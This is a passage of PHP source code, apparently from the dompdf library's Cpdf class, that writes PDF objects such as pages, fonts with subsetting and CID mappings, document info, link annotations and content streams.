                            $tmp = $o['info']['mediaBox'];
                            $res .= "\n/MediaBox [" . sprintf(
                                    '%.3F %.3F %.3F %.3F',
                                    $tmp[0],
                                    $tmp[1],
                                    $tmp[2],
                                    $tmp[3]
                                ) . ']';
                        }
                    }

                    $res .= "\n >>\nendobj";
                } else {
                    $res = "\n$id 0 obj\n<< /Type /Pages\n/Count 0\n>>\nendobj";
                }

                return $res;
        }

        return null;
    }

    /**
     * define the outlines in the doc, empty for now
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_outlines($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'outlines', 'info' => ['outlines' => []]];
                $this->o_catalog($this->catalogId, 'outlines', $id);
                break;

            case 'outline':
                $o['info']['outlines'][] = $options;
                break;

            case 'out':
                if (count($o['info']['outlines'])) {
                    $res = "\n$id 0 obj\n<< /Type /Outlines /Kids [";
                    foreach ($o['info']['outlines'] as $v) {
                        $res .= "$v 0 R ";
                    }

                    $res .= "] /Count " . count($o['info']['outlines']) . " >>\nendobj";
                } else {
                    $res = "\n$id 0 obj\n<< /Type /Outlines /Count 0 >>\nendobj";
                }

                return $res;
        }

        return null;
    }

    /**
     * an object to hold the font description
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return string|null
     * @throws FontNotFoundException
     */
    protected function o_font($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'font',
                    'info' => [
                        'name'         => $options['name'],
                        'fontFileName' => $options['fontFileName'],
                        'SubType'      => 'Type1',
                        'isSubsetting'   => $options['isSubsetting']
                    ]
                ];
                $fontNum = $this->numFonts;
                $this->objects[$id]['info']['fontNum'] = $fontNum;

                // deal with the encoding and the differences
                if (isset($options['differences'])) {
                    // then we'll need an encoding dictionary
                    $this->numObj++;
                    $this->o_fontEncoding($this->numObj, 'new', $options);
                    $this->objects[$id]['info']['encodingDictionary'] = $this->numObj;
                } else {
                    if (isset($options['encoding'])) {
                        // we can specify encoding here
                        switch ($options['encoding']) {
                            case 'WinAnsiEncoding':
                            case 'MacRomanEncoding':
                            case 'MacExpertEncoding':
                                $this->objects[$id]['info']['encoding'] = $options['encoding'];
                                break;

                            case 'none':
                                break;

                            default:
                                $this->objects[$id]['info']['encoding'] = 'WinAnsiEncoding';
                                break;
                        }
                    } else {
                        $this->objects[$id]['info']['encoding'] = 'WinAnsiEncoding';
                    }
                }

                if ($this->fonts[$options['fontFileName']]['isUnicode']) {
                    // For Unicode fonts, we need to incorporate font data into
                    // sub-sections that are linked from the primary font section.
                    // Look at o_fontGIDtoCID and o_fontDescendentCID functions
                    // for more information.
                    //
                    // All of this code is adapted from the excellent changes made to
                    // transform FPDF to TCPDF (http://tcpdf.sourceforge.net/)

                    $toUnicodeId = ++$this->numObj;
                    $this->o_toUnicode($toUnicodeId, 'new');
                    $this->objects[$id]['info']['toUnicode'] = $toUnicodeId;

                    $cidFontId = ++$this->numObj;
                    $this->o_fontDescendentCID($cidFontId, 'new', $options);
                    $this->objects[$id]['info']['cidFont'] = $cidFontId;
                }

                // also tell the pages node about the new font
                $this->o_pages($this->currentNode, 'font', ['fontNum' => $fontNum, 'objNum' => $id]);
                break;

            case 'add':
                $font_options = $this->processFont($id, $o['info']);

                if ($font_options !== false) {
                    foreach ($font_options as $k => $v) {
                        switch ($k) {
                            case 'BaseFont':
                                $o['info']['name'] = $v;
                                break;
                            case 'FirstChar':
                            case 'LastChar':
                            case 'Widths':
                            case 'FontDescriptor':
                            case 'SubType':
                                $this->addMessage('o_font ' . $k . " : " . $v);
                                $o['info'][$k] = $v;
                                break;
                        }
                    }

                    // pass values down to descendent font
                    if (isset($o['info']['cidFont'])) {
                        $this->o_fontDescendentCID($o['info']['cidFont'], 'add', $font_options);
                    }
                }
                break;

            case 'out':
                if ($this->fonts[$this->objects[$id]['info']['fontFileName']]['isUnicode']) {
                    // For Unicode fonts, we need to incorporate font data into
                    // sub-sections that are linked from the primary font section.
                    // Look at o_fontGIDtoCID and o_fontDescendentCID functions
                    // for more information.
                    //
                    // All of this code is adapted from the excellent changes made to
                    // transform FPDF to TCPDF (http://tcpdf.sourceforge.net/)

                    $res = "\n$id 0 obj\n<</Type /Font\n/Subtype /Type0\n";
                    $res .= "/BaseFont /" . $o['info']['name'] . "\n";

                    // The horizontal identity mapping for 2-byte CIDs; may be used
                    // with CIDFonts using any Registry, Ordering, and Supplement values.
                    $res .= "/Encoding /Identity-H\n";
                    $res .= "/DescendantFonts [" . $o['info']['cidFont'] . " 0 R]\n";
                    $res .= "/ToUnicode " . $o['info']['toUnicode'] . " 0 R\n";
                    $res .= ">>\n";
                    $res .= "endobj";
                } else {
                    $res = "\n$id 0 obj\n<< /Type /Font\n/Subtype /" . $o['info']['SubType'] . "\n";
                    $res .= "/Name /F" . $o['info']['fontNum'] . "\n";
                    $res .= "/BaseFont /" . $o['info']['name'] . "\n";

                    if (isset($o['info']['encodingDictionary'])) {
                        // then place a reference to the dictionary
                        $res .= "/Encoding " . $o['info']['encodingDictionary'] . " 0 R\n";
                    } else {
                        if (isset($o['info']['encoding'])) {
                            // use the specified encoding
                            $res .= "/Encoding /" . $o['info']['encoding'] . "\n";
                        }
                    }

                    if (isset($o['info']['FirstChar'])) {
                        $res .= "/FirstChar " . $o['info']['FirstChar'] . "\n";
                    }

                    if (isset($o['info']['LastChar'])) {
                        $res .= "/LastChar " . $o['info']['LastChar'] . "\n";
                    }

                    if (isset($o['info']['Widths'])) {
                        $res .= "/Widths " . $o['info']['Widths'] . " 0 R\n";
                    }

                    if (isset($o['info']['FontDescriptor'])) {
                        $res .= "/FontDescriptor " . $o['info']['FontDescriptor'] . " 0 R\n";
                    }

                    $res .= ">>\n";
                    $res .= "endobj";
                }

                return $res;
        }

        return null;
    }

    protected function getFontSubsettingTag(array $font): string
    {
        // convert font num to hexavigesimal numeral system letters A - Z only
        $base_26 = strtoupper(base_convert($font['fontNum'], 10, 26));
        for ($i = 0; $i < strlen($base_26); $i++) {
            $char = $base_26[$i];
            if ($char <= "9") {
                $base_26[$i] = chr(65 + intval($char));
            } else {
                $base_26[$i] = chr(ord($char) + 10);
            }
        }

        return 'SUB' . str_pad($base_26, 3, 'A', STR_PAD_LEFT);
    }

    /**
     * @param int $fontObjId
     * @param array $object_info
     * @return array|false
     * @throws FontNotFoundException
     */
    private function processFont(int $fontObjId, array $object_info)
    {
        $fontFileName = $object_info['fontFileName'];
        if (!isset($this->fonts[$fontFileName])) {
            return false;
        }

        $font = &$this->fonts[$fontFileName];

        $fileSuffix = $font['fileSuffix'];
        $fileSuffixLower = strtolower($font['fileSuffix']);
        $fbfile = "$fontFileName.$fileSuffix";
        $isTtfFont = $fileSuffixLower === 'ttf';
        $isPfbFont = $fileSuffixLower === 'pfb';

        $this->addMessage('selectFont: checking for - ' . $fbfile);

        if (!$fileSuffix) {
            $this->addMessage(
                'selectFont: pfb or ttf file not found, ok if this is one of the 14 standard fonts'
            );

            return false;
        } else {
            $adobeFontName = isset($font['PostScriptName']) ? $font['PostScriptName'] : $font['FontName'];
            //        $fontObj = $this->numObj;
            $this->addMessage("selectFont: adding font file - $fbfile - $adobeFontName");

            // find the array of font widths, and put that into an object.
            $firstChar = -1;
            $lastChar = 0;
            $widths = [];
            $cid_widths = [];

            foreach ($font['C'] as $num => $d) {
                if (intval($num) > 0 || $num == '0') {
                    if (!$font['isUnicode']) {
                        // With Unicode, widths array isn't used
                        if ($lastChar > 0 && $num > $lastChar + 1) {
                            for ($i = $lastChar + 1; $i < $num; $i++) {
                                $widths[] = 0;
                            }
                        }
                    }

                    $widths[] = $d;

                    if ($font['isUnicode']) {
                        $cid_widths[$num] = $d;
                    }

                    if ($firstChar == -1) {
                        $firstChar = $num;
                    }

                    $lastChar = $num;
                }
            }

            // also need to adjust the widths for the differences array
            if (isset($object['differences'])) {
                foreach ($object['differences'] as $charNum => $charName) {
                    if ($charNum > $lastChar) {
                        if (!$object['isUnicode']) {
                            // With Unicode, widths array isn't used
                            for ($i = $lastChar + 1; $i <= $charNum; $i++) {
                                $widths[] = 0;
                            }
                        }

                        $lastChar = $charNum;
                    }

                    if (isset($font['C'][$charName])) {
                        $widths[$charNum - $firstChar] = $font['C'][$charName];
                        if ($font['isUnicode']) {
                            $cid_widths[$charName] = $font['C'][$charName];
                        }
                    }
                }
            }

            if ($font['isUnicode']) {
                $font['CIDWidths'] = $cid_widths;
            }

            $this->addMessage('selectFont: FirstChar = ' . $firstChar);
            $this->addMessage('selectFont: LastChar = ' . $lastChar);

            $widthid = -1;

            if (!$font['isUnicode']) {
                // With Unicode, widths array isn't used

                $this->numObj++;
                $this->o_contents($this->numObj, 'new', 'raw');
                $this->objects[$this->numObj]['c'] .= '[' . implode(' ', $widths) . ']';
                $widthid = $this->numObj;
            }

            $missing_width = 500;
            $stemV = 70;

            if (isset($font['MissingWidth'])) {
                $missing_width = $font['MissingWidth'];
            }
            if (isset($font['StdVW'])) {
                $stemV = $font['StdVW'];
            } else {
                if (isset($font['Weight']) && preg_match('!(bold|black)!i', $font['Weight'])) {
                    $stemV = 120;
                }
            }

            // load the pfb file, and put that into an object too.
            // note that pdf supports only binary format type 1 font files, though there is a
            // simple utility to convert them from pfa to pfb.
            if (!$font['isSubsetting']) {
                $data = file_get_contents($fbfile);
            } else {
                $adobeFontName = $this->getFontSubsettingTag($font) . '+' . $adobeFontName;
                $this->stringSubsets[$fontFileName][] = 32; // Force space if not in yet

                $subset = $this->stringSubsets[$fontFileName];
                sort($subset);

                // Load font
                $font_obj = Font::load($fbfile);
                $font_obj->parse();

                // Define subset
                $font_obj->setSubset($subset);
                $font_obj->reduce();

                // Write new font
                $tmp_name = @tempnam($this->tmp, "cpdf_subset_");
                $font_obj->open($tmp_name, BinaryStream::modeReadWrite);
                $font_obj->encode(["OS/2"]);
                $font_obj->close();

                // Parse the new font to get cid2gid and widths
                $font_obj = Font::load($tmp_name);

                // Find Unicode char map table
                $subtable = null;
                foreach ($font_obj->getData("cmap", "subtables") as $_subtable) {
                    if ($_subtable["platformID"] == 0 || $_subtable["platformID"] == 3 && $_subtable["platformSpecificID"] == 1) {
                        $subtable = $_subtable;
                        break;
                    }
                }

                if ($subtable) {
                    $glyphIndexArray = $subtable["glyphIndexArray"];
                    $hmtx = $font_obj->getData("hmtx");

                    unset($glyphIndexArray[0xFFFF]);

                    $cidtogid = str_pad('', max(array_keys($glyphIndexArray)) * 2 + 1, "\x00");
                    $font['CIDWidths'] = [];
                    foreach ($glyphIndexArray as $cid => $gid) {
                        if ($cid >= 0 && $cid < 0xFFFF && $gid) {
                            $cidtogid[$cid * 2] = chr($gid >> 8);
                            $cidtogid[$cid * 2 + 1] = chr($gid & 0xFF);
                        }

                        $width = $font_obj->normalizeFUnit(isset($hmtx[$gid]) ? $hmtx[$gid][0] : $hmtx[0][0]);
                        $font['CIDWidths'][$cid] = $width;
                    }

                    $font['CIDtoGID'] = base64_encode(gzcompress($cidtogid));
                    $font['CIDtoGID_Compressed'] = true;

                    $data = file_get_contents($tmp_name);
                } else {
                    $data = file_get_contents($fbfile);
                }

                $font_obj->close();
                unlink($tmp_name);
            }

            // create the font descriptor
            $this->numObj++;
            $fontDescriptorId = $this->numObj;

            $this->numObj++;
            $pfbid = $this->numObj;

            // determine flags (more than a little flakey, hopefully will not matter much)
            $flags = 0;

            if ($font['ItalicAngle'] != 0) {
                $flags += pow(2, 6);
            }

            if ($font['IsFixedPitch'] === 'true') {
                $flags += 1;
            }

            $flags += pow(2, 5); // assume non-sybolic
            $list = [
                'Ascent'       => 'Ascender',
                'CapHeight'    => 'Ascender', //FIXME: php-font-lib is not grabbing this value, so we'll fake it and use the Ascender value // 'CapHeight'
                'MissingWidth' => 'MissingWidth',
                'Descent'      => 'Descender',
                'FontBBox'     => 'FontBBox',
                'ItalicAngle'  => 'ItalicAngle'
            ];
            $fdopt = [
                'Flags'    => $flags,
                'FontName' => $adobeFontName,
                'StemV'    => $stemV
            ];

            foreach ($list as $k => $v) {
                if (isset($font[$v])) {
                    $fdopt[$k] = $font[$v];
                }
            }

            if ($isPfbFont) {
                $fdopt['FontFile'] = $pfbid;
            } elseif ($isTtfFont) {
                $fdopt['FontFile2'] = $pfbid;
            }

            $this->o_fontDescriptor($fontDescriptorId, 'new', $fdopt);

            // embed the font program
            $this->o_contents($this->numObj, 'new');
            $this->objects[$pfbid]['c'] .= $data;

            // determine the cruicial lengths within this file
            if ($isPfbFont) {
                $l1 = strpos($data, 'eexec') + 6;
                $l2 = strpos($data, '00000000') - $l1;
                $l3 = mb_strlen($data, '8bit') - $l2 - $l1;
                $this->o_contents(
                    $this->numObj,
                    'add',
                    ['Length1' => $l1, 'Length2' => $l2, 'Length3' => $l3]
                );
            } elseif ($isTtfFont) {
                $l1 = mb_strlen($data, '8bit');
                $this->o_contents($this->numObj, 'add', ['Length1' => $l1]);
            }

            // tell the font object about all this new stuff
            $options = [
                'BaseFont'       => $adobeFontName,
                'MissingWidth'   => $missing_width,
                'Widths'         => $widthid,
                'FirstChar'      => $firstChar,
                'LastChar'       => $lastChar,
                'FontDescriptor' => $fontDescriptorId
            ];

            if ($isTtfFont) {
                $options['SubType'] = 'TrueType';
            }

            $this->addMessage("adding extra info to font.($fontObjId)");

            foreach ($options as $fk => $fv) {
                $this->addMessage("$fk : $fv");
            }
        }

        return $options;
    }

    /**
     * A toUnicode section, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @return null|string
     */
    protected function o_toUnicode($id, $action)
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'toUnicode'
                ];
                break;
            case 'add':
                break;
            case 'out':
                $ordering = 'UCS';
                $registry = 'Adobe';

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $ordering = $this->ARC4($ordering);
                    $registry = $this->filterText($this->ARC4($registry), false, false);
                }

                $stream = <<<EOT
/CIDInit /ProcSet findresource begin
12 dict begin
begincmap
/CIDSystemInfo
<</Registry ($registry)
/Ordering ($ordering)
/Supplement 0
>> def
/CMapName /Adobe-Identity-UCS def
/CMapType 2 def
1 begincodespacerange
<0000> <FFFF>
endcodespacerange
1 beginbfrange
<0000> <FFFF> <0000>
endbfrange
endcmap
CMapName currentdict /CMap defineresource pop
end
end
EOT;

                $res = "\n$id 0 obj\n";
                $res .= "<</Length " . mb_strlen($stream, '8bit') . " >>\n";
                $res .= "stream\n" . $stream . "\nendstream" . "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a font descriptor, needed for including additional fonts
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_fontDescriptor($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'fontDescriptor', 'info' => $options];
                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /FontDescriptor\n";
                foreach ($o['info'] as $label => $value) {
                    switch ($label) {
                        case 'Ascent':
                        case 'CapHeight':
                        case 'Descent':
                        case 'Flags':
                        case 'ItalicAngle':
                        case 'StemV':
                        case 'AvgWidth':
                        case 'Leading':
                        case 'MaxWidth':
                        case 'MissingWidth':
                        case 'StemH':
                        case 'XHeight':
                        case 'CharSet':
                            if (mb_strlen($value, '8bit')) {
                                $res .= "/$label $value\n";
                            }

                            break;
                        case 'FontFile':
                        case 'FontFile2':
                        case 'FontFile3':
                            $res .= "/$label $value 0 R\n";
                            break;

                        case 'FontBBox':
                            $res .= "/$label [$value[0] $value[1] $value[2] $value[3]]\n";
                            break;

                        case 'FontName':
                            $res .= "/$label /$value\n";
                            break;
                    }
                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * the font encoding
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_fontEncoding($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                // the options array should contain 'differences' and maybe 'encoding'
                $this->objects[$id] = ['t' => 'fontEncoding', 'info' => $options];
                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Encoding\n";
                if (!isset($o['info']['encoding'])) {
                    $o['info']['encoding'] = 'WinAnsiEncoding';
                }

                if ($o['info']['encoding'] !== 'none') {
                    $res .= "/BaseEncoding /" . $o['info']['encoding'] . "\n";
                }

                $res .= "/Differences \n[";

                $onum = -100;

                foreach ($o['info']['differences'] as $num => $label) {
                    if ($num != $onum + 1) {
                        // we cannot make use of consecutive numbering
                        $res .= "\n$num /$label";
                    } else {
                        $res .= " /$label";
                    }

                    $onum = $num;
                }

                $res .= "\n]\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a descendent cid font, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return null|string
     */
    protected function o_fontDescendentCID($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'fontDescendentCID', 'info' => $options];

                // we need a CID system info section
                $cidSystemInfoId = ++$this->numObj;
                $this->o_cidSystemInfo($cidSystemInfoId, 'new');
                $this->objects[$id]['info']['cidSystemInfo'] = $cidSystemInfoId;

                // and a CID to GID map
                $cidToGidMapId = ++$this->numObj;
                $this->o_fontGIDtoCIDMap($cidToGidMapId, 'new', $options);
                $this->objects[$id]['info']['cidToGidMap'] = $cidToGidMapId;
                break;

            case 'add':
                foreach ($options as $k => $v) {
                    switch ($k) {
                        case 'BaseFont':
                            $o['info']['name'] = $v;
                            break;

                        case 'FirstChar':
                        case 'LastChar':
                        case 'MissingWidth':
                        case 'FontDescriptor':
                        case 'SubType':
                            $this->addMessage("o_fontDescendentCID $k : $v");
                            $o['info'][$k] = $v;
                            break;
                    }
                }

                // pass values down to cid to gid map
                $this->o_fontGIDtoCIDMap($o['info']['cidToGidMap'], 'add', $options);
                break;

            case 'out':
                $res = "\n$id 0 obj\n";
                $res .= "<</Type /Font\n";
                $res .= "/Subtype /CIDFontType2\n";
                $res .= "/BaseFont /" . $o['info']['name'] . "\n";
                $res .= "/CIDSystemInfo " . $o['info']['cidSystemInfo'] . " 0 R\n";
                //      if (isset($o['info']['FirstChar'])) {
                //        $res.= "/FirstChar ".$o['info']['FirstChar']."\n";
                //      }

                //      if (isset($o['info']['LastChar'])) {
                //        $res.= "/LastChar ".$o['info']['LastChar']."\n";
                //      }
                if (isset($o['info']['FontDescriptor'])) {
                    $res .= "/FontDescriptor " . $o['info']['FontDescriptor'] . " 0 R\n";
                }

                if (isset($o['info']['MissingWidth'])) {
                    $res .= "/DW " . $o['info']['MissingWidth'] . "\n";
                }

                if (isset($o['info']['fontFileName']) && isset($this->fonts[$o['info']['fontFileName']]['CIDWidths'])) {
                    $cid_widths = &$this->fonts[$o['info']['fontFileName']]['CIDWidths'];
                    $w = '';
                    foreach ($cid_widths as $cid => $width) {
                        $w .= "$cid [$width] ";
                    }
                    $res .= "/W [$w]\n";
                }

                $res .= "/CIDToGIDMap " . $o['info']['cidToGidMap'] . " 0 R\n";
                $res .= ">>\n";
                $res .= "endobj";

                return $res;
        }

        return null;
    }

    /**
     * CID system info section, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @return null|string
     */
    protected function o_cidSystemInfo($id, $action)
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't' => 'cidSystemInfo'
                ];
                break;
            case 'add':
                break;
            case 'out':
                $ordering = 'UCS';
                $registry = 'Adobe';

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $ordering = $this->ARC4($ordering);
                    $registry = $this->ARC4($registry);
                }


                $res = "\n$id 0 obj\n";

                $res .= '<</Registry (' . $registry . ")\n"; // A string identifying an issuer of character collections
                $res .= '/Ordering (' . $ordering . ")\n"; // A string that uniquely names a character collection issued by a specific registry
                $res .= "/Supplement 0\n"; // The supplement number of the character collection.
                $res .= ">>";

                $res .= "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a font glyph to character map, needed for unicode fonts
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_fontGIDtoCIDMap($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'fontGIDtoCIDMap', 'info' => $options];
                break;

            case 'out':
                $res = "\n$id 0 obj\n";
                $fontFileName = $o['info']['fontFileName'];
                $tmp = $this->fonts[$fontFileName]['CIDtoGID'] = base64_decode($this->fonts[$fontFileName]['CIDtoGID']);

                $compressed = isset($this->fonts[$fontFileName]['CIDtoGID_Compressed']) &&
                    $this->fonts[$fontFileName]['CIDtoGID_Compressed'];

                if (!$compressed && isset($o['raw'])) {
                    $res .= $tmp;
                } else {
                    $res .= "<<";

                    if (!$compressed && $this->compressionReady && $this->options['compression']) {
                        // then implement ZLIB based compression on this content stream
                        $compressed = true;
                        $tmp = gzcompress($tmp, 6);
                    }
                    if ($compressed) {
                        $res .= "\n/Filter /FlateDecode";
                    }

                    if ($this->encrypted) {
                        $this->encryptInit($id);
                        $tmp = $this->ARC4($tmp);
                    }

                    $res .= "\n/Length " . mb_strlen($tmp, '8bit') . ">>\nstream\n$tmp\nendstream";
                }

                $res .= "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * the document procset, solves some problems with printing to old PS printers
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_procset($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'procset', 'info' => ['PDF' => 1, 'Text' => 1]];
                $this->o_pages($this->currentNode, 'procset', $id);
                $this->procsetObjectId = $id;
                break;

            case 'add':
                // this is to add new items to the procset list, despite the fact that this is considered
                // obsolete, the items are required for printing to some postscript printers
                switch ($options) {
                    case 'ImageB':
                    case 'ImageC':
                    case 'ImageI':
                        $o['info'][$options] = 1;
                        break;
                }
                break;

            case 'out':
                $res = "\n$id 0 obj\n[";
                foreach ($o['info'] as $label => $val) {
                    $res .= "/$label ";
                }
                $res .= "]\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * define the document information
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_info($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->infoObject = $id;
                $date = 'D:' . @date('Ymd');
                $this->objects[$id] = [
                    't'    => 'info',
                    'info' => [
                        'Producer'      => 'CPDF (dompdf)',
                        'CreationDate' => $date
                    ]
                ];
                break;
            case 'Title':
            case 'Author':
            case 'Subject':
            case 'Keywords':
            case 'Creator':
            case 'Producer':
            case 'CreationDate':
            case 'ModDate':
            case 'Trapped':
                $this->objects[$id]['info'][$action] = $options;
                break;

            case 'out':
                $encrypted = $this->encrypted;
                if ($encrypted) {
                    $this->encryptInit($id);
                }

                $res = "\n$id 0 obj\n<<\n";
                $o = &$this->objects[$id];
                foreach ($o['info'] as $k => $v) {
                    $res .= "/$k (";

                    // dates must be outputted as-is, without Unicode transformations
                    if ($k !== 'CreationDate' && $k !== 'ModDate') {
                        $v = $this->utf8toUtf16BE($v);
                    }

                    if ($encrypted) {
                        $v = $this->ARC4($v);
                    }

                    $res .= $this->filterText($v, false, false);
                    $res .= ")\n";
                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * an action object, used to link to URLS initially
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_action($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                if (is_array($options)) {
                    $this->objects[$id] = ['t' => 'action', 'info' => $options, 'type' => $options['type']];
                } else {
                    // then assume a URI action
                    $this->objects[$id] = ['t' => 'action', 'info' => $options, 'type' => 'URI'];
                }
                break;

            case 'out':
                if ($this->encrypted) {
                    $this->encryptInit($id);
                }

                $res = "\n$id 0 obj\n<< /Type /Action";
                switch ($o['type']) {
                    case 'ilink':
                        if (!isset($this->destinations[(string)$o['info']['label']])) {
                            break;
                        }

                        // there will be an 'label' setting, this is the name of the destination
                        $res .= "\n/S /GoTo\n/D " . $this->destinations[(string)$o['info']['label']] . " 0 R";
                        break;

                    case 'URI':
                        $res .= "\n/S /URI\n/URI (";
                        if ($this->encrypted) {
                            $res .= $this->filterText($this->ARC4($o['info']), false, false);
                        } else {
                            $res .= $this->filterText($o['info'], false, false);
                        }

                        $res .= ")";
                        break;
                }

                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * an annotation object, this will add an annotation to the current page.
     * initially will support just link annotations
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_annotation($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                // add the annotation to the current page
                $pageId = $this->currentPage;
                $this->o_page($pageId, 'annot', $id);

                // and add the action object which is going to be required
                switch ($options['type']) {
                    case 'link':
                        $this->objects[$id] = ['t' => 'annotation', 'info' => $options];
                        $this->numObj++;
                        $this->o_action($this->numObj, 'new', $options['url']);
                        $this->objects[$id]['info']['actionId'] = $this->numObj;
                        break;

                    case 'ilink':
                        // this is to a named internal link
                        $label = $options['label'];
                        $this->objects[$id] = ['t' => 'annotation', 'info' => $options];
                        $this->numObj++;
                        $this->o_action($this->numObj, 'new', ['type' => 'ilink', 'label' => $label]);
                        $this->objects[$id]['info']['actionId'] = $this->numObj;
                        break;
                }
                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Annot";
                switch ($o['info']['type']) {
                    case 'link':
                    case 'ilink':
                        $res .= "\n/Subtype /Link";
                        break;
                }
                $res .= "\n/A " . $o['info']['actionId'] . " 0 R";
                $res .= "\n/Border [0 0 0]";
                $res .= "\n/H /I";
                $res .= "\n/Rect [ ";

                foreach ($o['info']['rect'] as $v) {
                    $res .= sprintf("%.4F ", $v);
                }

                $res .= "]";
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * a page object, it also creates a contents object to hold its contents
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_page($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->numPages++;
                $this->objects[$id] = [
                    't'    => 'page',
                    'info' => [
                        'parent'  => $this->currentNode,
                        'pageNum' => $this->numPages,
                        'mediaBox' => $this->objects[$this->currentNode]['info']['mediaBox']
                    ]
                ];

                if (is_array($options)) {
                    // then this must be a page insertion, array should contain 'rid','pos'=[before|after]
                    $options['id'] = $id;
                    $this->o_pages($this->currentNode, 'page', $options);
                } else {
                    $this->o_pages($this->currentNode, 'page', $id);
                }

                $this->currentPage = $id;
                //make a contents object to go with this page
                $this->numObj++;
                $this->o_contents($this->numObj, 'new', $id);
                $this->currentContents = $this->numObj;
                $this->objects[$id]['info']['contents'] = [];
                $this->objects[$id]['info']['contents'][] = $this->numObj;

                $match = ($this->numPages % 2 ? 'odd' : 'even');
                foreach ($this->addLooseObjects as $oId => $target) {
                    if ($target === 'all' || $match === $target) {
                        $this->objects[$id]['info']['contents'][] = $oId;
                    }
                }
                break;

            case 'content':
                $o['info']['contents'][] = $options;
                break;

            case 'annot':
                // add an annotation to this page
                if (!isset($o['info']['annot'])) {
                    $o['info']['annot'] = [];
                }

                // $options should contain the id of the annotation dictionary
                $o['info']['annot'][] = $options;
                break;

            case 'out':
                $res = "\n$id 0 obj\n<< /Type /Page";
                if (isset($o['info']['mediaBox'])) {
                    $tmp = $o['info']['mediaBox'];
                    $res .= "\n/MediaBox [" . sprintf(
                            '%.3F %.3F %.3F %.3F',
                            $tmp[0],
                            $tmp[1],
                            $tmp[2],
                            $tmp[3]
                        ) . ']';
                }
                $res .= "\n/Parent " . $o['info']['parent'] . " 0 R";

                if (isset($o['info']['annot'])) {
                    $res .= "\n/Annots [";
                    foreach ($o['info']['annot'] as $aId) {
                        $res .= " $aId 0 R";
                    }
                    $res .= " ]";
                }

                $count = count($o['info']['contents']);
                if ($count == 1) {
                    $res .= "\n/Contents " . $o['info']['contents'][0] . " 0 R";
                } else {
                    if ($count > 1) {
                        $res .= "\n/Contents [\n";

                        // reverse the page contents so added objects are below normal content
                        //foreach (array_reverse($o['info']['contents']) as $cId) {
                        // Back to normal now that I've got transparency working --Benj
                        foreach ($o['info']['contents'] as $cId) {
                            $res .= "$cId 0 R\n";
                        }
                        $res .= "]";
                    }
                }

                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * the contents objects hold all of the content which appears on pages
     *
     * @param $id
     * @param $action
     * @param string|array $options
     * @return null|string
     */
    protected function o_contents($id, $action, $options = '')
    {
        if ($action !== 'new') {
            $o = &$this->objects[$id];
        }

        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'contents', 'c' => '', 'info' => []];
                if (mb_strlen($options, '8bit') && intval($options)) {
                    // then this contents is the primary for a page
                    $this->objects[$id]['onPage'] = $options;
                } else {
                    if ($options === 'raw') {
                        // then this page contains some other type of system object
                        $this->objects[$id]['raw'] = 1;
                    }
                }
                break;

            case 'add':
                // add more options to the declaration
                foreach ($options as $k => $v) {
                    $o['info'][$k] = $v;
                }

            case 'out':
                $tmp = $o['c'];
                $res = "\n$id 0 obj\n";

                if (isset($this->objects[$id]['raw'])) {
                    $res .= $tmp;
                } else {
                    $res .= "<<";
                    if ($this->compressionReady && $this->options['compression']) {
